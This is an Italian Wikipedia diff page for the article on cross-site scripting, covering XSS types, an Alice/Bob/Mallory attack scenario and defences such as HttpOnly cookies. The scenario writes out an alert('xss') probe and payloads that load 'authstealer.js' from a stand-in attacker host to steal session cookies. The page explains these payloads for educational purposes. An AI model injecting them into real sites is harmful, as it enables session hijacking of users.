Cross-site scripting: differenze tra le versioni
Contenuto cancellato Contenuto aggiunto
Recupero di 1 fonte/i e segnalazione di 0 link interrotto/i.) #IABot (v2.0.1 |
La frase precedente era formulata in modo da far sembrare la statistica valida ancora oggi. Etichette: Modifica visuale Modifica da mobile Modifica da web per mobile |
||
| (21 versioni intermedie di 18 utenti non mostrate) | |||
Riga 1:
Il '''cross-site scripting''' ('''XSS''') è una [[vulnerabilità informatica]] che affligge [[Web dinamico|siti web dinamici]] che impiegano un insufficiente controllo dell'[[input]] nei [[form]]. Un XSS permette a un [[Cracker (informatica)|cracker]] di inserire o eseguire codice '''lato client''' al fine di attuare un insieme variegato di attacchi quali, ad esempio, raccolta, manipolazione e reindirizzamento di informazioni riservate, visualizzazione e modifica di dati presenti sui [[server]], alterazione del comportamento dinamico delle [[Pagina web|pagine web]], ecc.
Nell'accezione odierna, la tecnica ricomprende l'utilizzo di qualsiasi [[linguaggio di scripting]] [[lato client]] tra i quali [[JavaScript]], [[VBScript]], [[Adobe Flash|Flash]]. Il loro effetto può variare da un piccolo fastidio a un significativo rischio per la [[Sicurezza informatica|sicurezza]], a seconda della sensibilità dei dati trattati nel sito vulnerabile e dalla natura delle strategie di sicurezza implementate dai proprietari del sito web.
Secondo un rapporto di [[Symantec]], nel [[2007]]
== Origine e trasformazione del concetto ==
La sicurezza nel web dipende da una varietà di meccanismi incluso il concetto di fiducia noto come [[
▲La sicurezza nel web dipende da una varietà di meccanismi incluso il concetto di fiducia noto come [[Same origin policy]]. Questo afferma in sostanza che se al contenuto del primo sito viene concessa l'autorizzazione di accedere alle risorse di un sistema, allora qualsiasi contenuto da quel sito condividerà queste autorizzazioni, mentre il contenuto di un altro sito deve avere delle autorizzazioni a parte.
Gli attacchi Cross-site scripting usano vulnerabilità note delle applicazioni web, nei loro server o dei plugin su cui si basano. Sfruttando una di queste vulnerabilità, gli aggressori iniettano contenuto malevolo nel messaggio fornito dal sito compromesso in modo che quando arriva nel [[Browser|web browser]] lato client risulti inviato dalla fonte attendibile, così da operare secondo le autorizzazioni concesse a quel sistema. Iniettando script malevoli l'utente malintenzionato può ottenere privilegi di accesso al contenuto di pagine sensibili, ai cookie di sessione e a una varietà da altre informazioni gestite dal browser per conto dell'utente.
Gli ingegneri della sicurezza di Microsoft hanno introdotto il termine ''cross-site scripting'' nel gennaio del 2000.
L'espressione ''cross-site scripting'' originariamente si riferiva unicamente ad attacchi basati sull'utilizzo di frammenti di codice [[JavaScript]] inseriti all'interno di chiamate di richiesta a pagine web dinamiche poste su un web-server (tecnica facente parte dei metodi di [[code injection]]) in modo che il server remoto eseguisse operazioni diverse da quelle previste originariamente dall'applicativo web. Tale definizione gradualmente si è estesa comprendendo anche altre modalità di "iniezione di codice" basate non solo su [[JavaScript]] ma anche su [[ActiveX]], [[VBScript]], [[Adobe Flash|Flash]], o anche puro [[HTML]]. Ciò ha generato una certa confusione nella terminologia riferita alla [[sicurezza informatica]]; il termine, infatti, ricomprende oggi tutto un insieme di tecniche di attacco e non esclusivamente quella basata su manipolazione di codice JavaScript.<ref name="Grossman">{{Cita web|autore = Grossman, Jeremiah|titolo = The origins of Cross-Site Scripting (XSS)|url = https://jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html |data = 30 luglio 2006|accesso = 15 settembre 2008}}</ref>
Line 22 ⟶ 21:
=== Reflected (non-persistent) ===
Le vulnerabilità cross-site scripting di tipo reflected sono sicuramente le più comuni. È possibile sfruttarle quando i dati forniti dall'utente (di solito tramite form HTML) sono usati immediatamente dallo script lato server per costruire le pagine risultanti senza controllare la correttezza della richiesta.
Dato che i documenti HTML hanno una struttura piatta in cui sono mescolate istruzioni di controllo, di formattazione e di contenuto effettivo, se tutti i dati forniti dall'utente non validati sono inclusi nella pagina risultante senza un'adeguata codifica HTML, questo può portare a iniezione di codice di markup<ref>{{Cita libro|autore=Paco Hope, Ben Walther|titolo=Web Security Testing Cookbook|anno=2008|editore=O'Reilly Media|p=128|ISBN=978-0-596-51483-9}}</ref>
Un attacco non persistente è tipicamente inviato via mail o da un sito web neutrale. L'esca è un URL dall'aspetto innocente, che punta a un sito attendibile ma che contiene un vettore XSS. Se il sito affidabile è vulnerabile a quel vettore, il click sul link può causare l'esecuzione di script iniettato nel browser della vittima.
=== Persistent ===
Line 35 ⟶ 34:
Supponiamo che un attaccante si colleghi al sito e voglia capire i veri nomi delle persone che vede sul sito. Per fare ciò scrive uno script progettato per essere eseguito dal browser delle altre persone quando visitano il suo profilo. Lo script invia un breve messaggio al suo server che raccoglie queste informazioni.
Per fare questo, per il quesito “Descrivi il tuo primo appuntamento ideale”, l'attaccante dà una risposta breve (dall'aspetto consueto) ma il testo alla fine della risposta è lo script per rubare i nomi e le mail. Se lo script è racchiuso all'interno di un elemento <script> non verrà visualizzato a schermo. Quindi supponiamo che Bob, membro del sito di incontri, raggiunga il profilo dell'attaccante, dove viene visualizzata la risposta alla domanda riguardo al primo appuntamento ideale. Lo script viene automaticamente eseguito dal browser e ruba il nome reale e la mail di Bob direttamente dalla sua macchina.
Le vulnerabilità XSS di tipo persistente possono essere molto più significative rispetto alle altre perché lo script dannoso dell'attaccante è fornito automaticamente senza la necessità di indirizzare la vittima o attirarla nel sito di terze parti. In particolare nel caso di siti di social-network, il codice potrebbe essere progettato per propagarsi autonomamente tra gli account, creando un tipo di [[worm]] lato client.
I metodi di iniezione possono variare tantissimo, in alcuni casi l'attaccante non ha nemmeno bisogno di interagire con le funzionalità web per sfruttare una falla. Tutti i dati ricevuti da una applicazione web (via email, log di sistema, [[messaggistica istantanea]], ecc.) che possono essere controllati da un utente malintenzionato potrebbero diventare vettore di iniezione.
=== Server-side vs vulnerabilità DOM-based ===
Storicamente le vulnerabilità XSS sono state trovate in applicazioni che svolgevano tutto il processamento dei dati lato server. L'input dell'utente (tra cui un vettore XSS) sarebbe stato inviato al server per poi essere rimandato indietro come una pagina web. La necessità di migliorare la [[User Experience|user experience]] ha dato popolarità ad applicazioni che avevano una logica di presentazione (scritta in [[JavaScript]]) che inviava i dati, su richiesta, al server usando [[AJAX]].
Mentre il codice JavaScript processa anche gli input dell'utente e li visualizza nella pagina web, la nuova sottoclasse di attacchi XSS di tipo reflected ha iniziato ad apparire ed è stata chiamata [[Document Object Model|DOM]]-based cross-site scripting. Negli attacchi XSS DOM-based, i dati malevoli non sono toccati dal server web, piuttosto, sono riflessi dal codice JavaScript interamente sul lato client.<ref>{{Cita
Un esempio di vulnerabilità XSS DOM-based è un bug trovato nel 2011 in una serie di plugin [[JQuery]]<ref>{{Cita web|url=https://bugs.jquery.com/ticket/9521|titolo=#9521 (XSS with $(___location.hash) and $(#<tag>) is needed?) – jQuery - Bug Tracker|sito=bugs.jquery.com|accesso=21 maggio 2016}}</ref>. Le strategie di prevenzione per gli attacchi XSS DOM-based includono misure molto simili alle strategie tradizionali di prevenzione XSS, ma implementate in codice [[JavaScript]] e incluse nelle pagine<ref>{{Cita web|url=https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet|titolo=DOM based XSS Prevention Cheat Sheet - OWASP
== Un esempio di attacco ==
Line 52 ⟶ 51:
=== Non-persistent ===
# Alice visita spesso un particolare sito web, che è ospitato da Bob. Il sito web di Bob permette ad Alice di autenticarsi con username e [[password]] e di memorizzare [[dati sensibili]] (come i dati di fatturazione). Quando accede nel sistema, il browser mantiene un cookie di autenticazione, che si presenta come un insieme di caratteri illeggibili, in modo che entrambi i computer (client e server) si ricordino della sua autenticazione.
# Mallory nota che il sito di Bob contiene una vulnerabilità XSS di tipo ''reflected'':
## Quando si visita la pagina di ricerca, si inserisce un termine nella casella di ricerca e si fa click sul tasto invio, se non ci sono risultati la pagina visualizzerà il termine cercato seguito dalle parole “non trovato”, e l'URL sarà <code><nowiki>http://bobssite.org?q=her</nowiki></code>
## Con una normale ''query'' di ricerca, come la parola “cuccioli”, la pagina visualizzerà semplicemente “cuccioli non trovato” e l'URL è <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli'''</code> (questo è un comportamento normale).
## Tuttavia, quando si invia una query anomala di ricerca, come
### Viene visualizzato un box di avviso che dice “xss”
### La pagina visualizza "<code><script type='text/javascript'>alert('xss');</script></code> non trovato" insieme a un messaggio di errore con il testo “xss”
### L'URL sfruttabile è <code><nowiki>http://bobssite.org</nowiki>'''?q=<script type='text/javascript'>alert('xss');</script>'''</code>
#Mallory crea un URL per sfruttare l'exploit
##Crea l'URL <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli<script%20src="<nowiki>http://mallorysevilsite.com/authstealer.js</nowiki>"><nowiki></script></nowiki>'''</code>
##Invia una mail ad alcuni ignari membri del sito di Bob, in cui scrive: “Controlla alcuni simpatici cuccioli”
#Alice riceve la mail e, dato che ama i cuccioli, apre il link. Andrà quindi sul sito di Bob per la ricerca; non trovando nulla visualizzerà “Cuccioli non trovato”, ma lo script di Mallory, authstealer.js, eseguirà, invisibile sullo schermo, scatenando l'attacco XSS.
Line 81 ⟶ 80:
# Mallory osserva che il sito di Bob contiene una vulnerabilità XSS. Se si va nella sezione News e si posta un commento, verrà visualizzato ciò che è stato digitato. Ma se il testo del commento contiene dei tag HTML i tag verranno visualizzati così come sono. Lo stesso accadrà per eventuali tag di script.
# Mallory legge l'articolo nella sezione News e scrive in un commento. Nel commento inserisce questo testo: <code>Io amo i cuccioli di questa storia. Sono così carini! <script src="http://mallorysevilsite.com/authstealer.js"></code>,
# Quando Alice (o chiunque altro utente) carica la pagina con il commento, lo script di Mallory viene eseguito, ruba il cookie di sessione di Alice e lo invia al server segreto di Mallory<ref name="thegeekstuff.com">{{Cita web|url=http://www.thegeekstuff.com/2012/02/xss-attack-examples/|titolo=XSS Attack Examples (Cross-Site Scripting Attacks)
# Mallory può quindi sfruttare la sessione di Alice e usare il suo account fino a una eventuale invalidazione del cookie<ref name="thegeekstuff.com"/><ref>{{Cita web|url=http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html|titolo=The top 10 reasons Web sites get hacked|cognome=Brodkin|nome=Jon|sito=Network World|accesso=21 maggio 2016|urlmorto=sì|urlarchivio=https://web.archive.org/web/20140327213413/http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html|dataarchivio=27 marzo 2014}}</ref>.
Il software del sito di Bob avrebbe potuto analizzare i commenti nella sezione notizie e rimuovere o correggere eventuali script, ma non l'ha fatto, in questo risiede il bug di sicurezza.
Line 90 ⟶ 89:
=== Convalidare in modo sicuro l'input non attendibile ===
Molte operazioni di particolari applicazioni web (forum, webmail, ecc.) permettono agli utenti di utilizzare un sottoinsieme limitato di markup HTML. Quando si accetta l'input HTML da parte degli utenti, ad esempio "<nowiki><b>molto<b/></nowiki> largo", la codifica in uscita, come "<nowiki>&</nowiki>lt;b<nowiki>&</nowiki>gt;molto<nowiki>&</nowiki>lt;/b<nowiki>&</nowiki>gt; largo", non sarà sufficiente dal momento che deve essere reso come HTML dal browser.
=== Sicurezza dei cookie ===
Oltre al filtraggio dei contenuti, sono comunemente usati altri metodi per mitigare il cross-site scripting.
Un esempio è l'uso di controlli di sicurezza aggiuntivi durante la manipolazione della sessione basata sui cookie. Molte applicazioni web si basano sui [[cookie]] di sessione per gestire l'autenticazione tra le diverse richieste HTTP, e dato che gli script lato client hanno generalmente accesso a questo cookie, semplici XSS possono rubarli<ref>{{Cita web|url=https://www.ibm.com/developerworks/ibm/library/wa-secxss/|titolo=Prevent a cross-site scripting attack
Un'altra soluzione è presente in [[Internet Explorer]] (dalla versione 6), [[Mozilla Firefox|Firefox]] (dalla versione 2.0.0.5), [[Safari (browser)|Safari]] (dalla versione 4), [[Opera (browser)|Opera]] (dalla versione 9.5) e [[Google Chrome]]; è il flag ''HttpOnly'' che consente a un server web di settare un cookie non accessibile dallo script lato client. Se usata, la funzione può prevenire completamente il furto di cookie ma non gli attacchi all'interno del browser<ref>{{Cita web|url=http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php|titolo=Ajax and Mashup Security|autore=OpenAjax Alliance|data=|accesso=|urlmorto=sì|urlarchivio=https://web.archive.org/web/20080403234132/http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php|dataarchivio=3 aprile 2008}}</ref>.
Line 104 ⟶ 103:
Alcuni browser o plugin per browser possono essere configurati per disattivare gli script lato client in base al dominio. Questo approccio ha valore limitato se gli script sono abilitati di default, dato che verranno bloccati quando l'utente li avrà riconosciuti come pericolosi, ma ormai sarà troppo tardi. Una funzionalità che blocca tutti gli script e inclusioni esterne di default, e che quindi permette agli utenti di abilitare in base al dominio, è più efficiente. Questo è stato possibile per un lungo periodo su Internet Explorer (dalla versione 4) impostando le cosiddette “zone di sicurezza”<ref>{{Cita web|url=https://support.microsoft.com/kb/174360/en-us|titolo=Security zones: adding or removing websites - Windows Help|sito=windows.microsoft.com|accesso=21 maggio 2016}}</ref> e in Opera (dalla versione 9) usando le “preferenze specifiche del sito”. La soluzione per Firefox e altri [[Gecko]]-based browser è l'add-on open source [[NoScript]] che oltre ad abilitare gli script per dominio, fornisce una certa protezione XSS anche quando gli script sono abilitati<ref>{{Cita web|url=http://db.tidbits.com/article/9511|titolo=Should Mac Users Run Antivirus Software?|sito=db.tidbits.com|accesso=21 maggio 2016}}</ref>.
Il problema più rilevante dato dal blocco di tutti gli script in tutti i siti web di default è la sostanziale riduzione delle funzionalità e della reattività (lo scripting lato client può essere molto più veloce rispetto a quello lato server perché non ha bisogno di connettersi ad un server remoto e la pagina, o il frame, non ha bisogno di essere ricaricata). Un altro problema con il blocco dello script è che molti utenti non lo capiscono e non sanno come proteggere adeguatamente il loro browser. Un altro svantaggio che molti siti non funzionano senza scripting lato client, costringendo gli utenti a disattivare la protezione per il sito<ref>{{Cita news|url=http://news.bbc.co.uk/2/hi/technology/6210068.stm|titolo='Most websites' failing disabled|pubblicazione=BBC|data=5 dicembre 2006|accesso=21 maggio 2016}}</ref>. L'estensione per Firefox NoScript consente agli utenti di abilitare gli script da una determinata pagina ma non consente l'esecuzione ad altri della stessa pagina. Ad esempio, gli script da example.com possono eseguire, gli script da advertisingagency.com che sta tentando di eseguire sulla stessa pagina possono essere disabilitati<ref>{{Cita web|url=https://noscript.net/features|titolo=NoScript - JavaScript/Java/Flash blocker for a safer Firefox experience! - features - InformAction|sito=noscript.net|accesso=21 maggio 2016}}</ref>.
=== Tecnologie di difesa emergenti ===
Ci sono tre classi di difesa da XSS che stanno emergendo.
== Servizi di scanning ==
Alcune aziende offrono un servizio di scansione periodica, sostanzialmente simulando un attacco dal proprio server al server del cliente per verificare se l'attacco ha successo. Se ciò avviene, il cliente riceve informazioni dettagliate su come è stato eseguito l'attacco e quindi ha la possibilità di risolvere il problema prima che lo stesso attacco sia fatto da qualcun altro. Lo scanner non può trovare tutte le possibili vulnerabilità,<ref>{{Cita web|url=http://blog.skeptikal.org/2010/03/website-security-seals-smackdown.html|titolo=Blogger|sito=blog.skeptikal.org|accesso=21 maggio 2016|urlarchivio=https://web.archive.org/web/20110812161908/http://blog.skeptikal.org/2010/03/website-security-seals-smackdown.html|dataarchivio=12 agosto 2011|urlmorto=sì}}</ref> pertanto, i siti scansionati possono essere ancora vulnerabili a nuovi tipi di attacchi, ma le scansioni
== Vulnerabilità correlate ==
In un attacco '''Universal Cross-Site Scripting''' ('''UXSS''', o '''Universal XSS''') vengono sfruttate le vulnerabilità del browser stesso, piuttosto che le vulnerabilità nei siti web, come per gli attacchi XSS
Diverse classi di vulnerabilità o tecniche di attacco sono legate a XSS: i cross-zone scripting permettono l'esecuzione di codice con maggiori privilegi in alcuni browser<ref>{{Cita web|url=http://www.h-online.com/security/news/item/Security-hole-in-Internet-Explorer-allows-attackers-to-execute-arbitrary-programs-735225.html|titolo=Security hole in Internet Explorer allows attackers to execute arbitrary programs - The H Security: News and Features
[[Cross-site request forgery]] (CSRF/XSRF) è quasi l'opposto del XSS, nel senso che invece di sfruttare la fiducia degli utenti in un sito, l'attaccante e la sua pagina malevola, sfrutta la fiducia del sito nel software del client, facendo richieste che il sito ritiene azioni consapevoli e intenzionali di un utente autenticato<ref>{{Cita web|url=http://www.cgisecurity.com/articles/csrf-faq.shtml|titolo=This page has moved!
Covert Redirect sfrutta client di terze parti suscettibili ad attacchi XSS o Open Redirect. Covert Redirect è stato scoperto dal dottorato di ricerca dello studente Wang Jing del Nanyang Technological University, in Singapore. “Tentativi di normale phishing possono essere facilmente individuati, perché l'URL della pagina malevola è di solito diversa al massimo un paio di lettere rispetto a quella del sito vero e proprio. La differenza con Covert Redirect è che un utente malintenzionato potrebbe utilizzare il sito web vero e proprio anziché violare il sito web con un pop-up di login dannoso.”<ref>{{Cita web|url=http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw,news-18726.html|titolo=Facebook, Google Users Threatened by New Security Flaw|sito=Tom's Guide|data=2 maggio 2014|accesso=21 maggio 2016}}</ref>
Infine, [[SQL injection]] sfrutta una vulnerabilità nel livello di database dell'applicazione. Quando l'input dell'utente non viene filtrato in modo corretto, possono essere eseguite dall'applicazione tutte le istruzioni SQL.<ref>{{Cita web|url=http://www.cgisecurity.com/xss-faq.html|titolo=The Cross-Site Scripting (XSS) FAQ|
== Note ==
# Dominator and Dominator Pro tool Opensource per identificare domXSS http://dominator.mindedsecurity.com▼
<references />
== Voci correlate ==
*[[HTML Tidy]]
== Altri progetti ==
{{interprogetto|preposizione=sul}}
== Collegamenti esterni ==
▲
{{Portale|Sicurezza informatica}}
| |||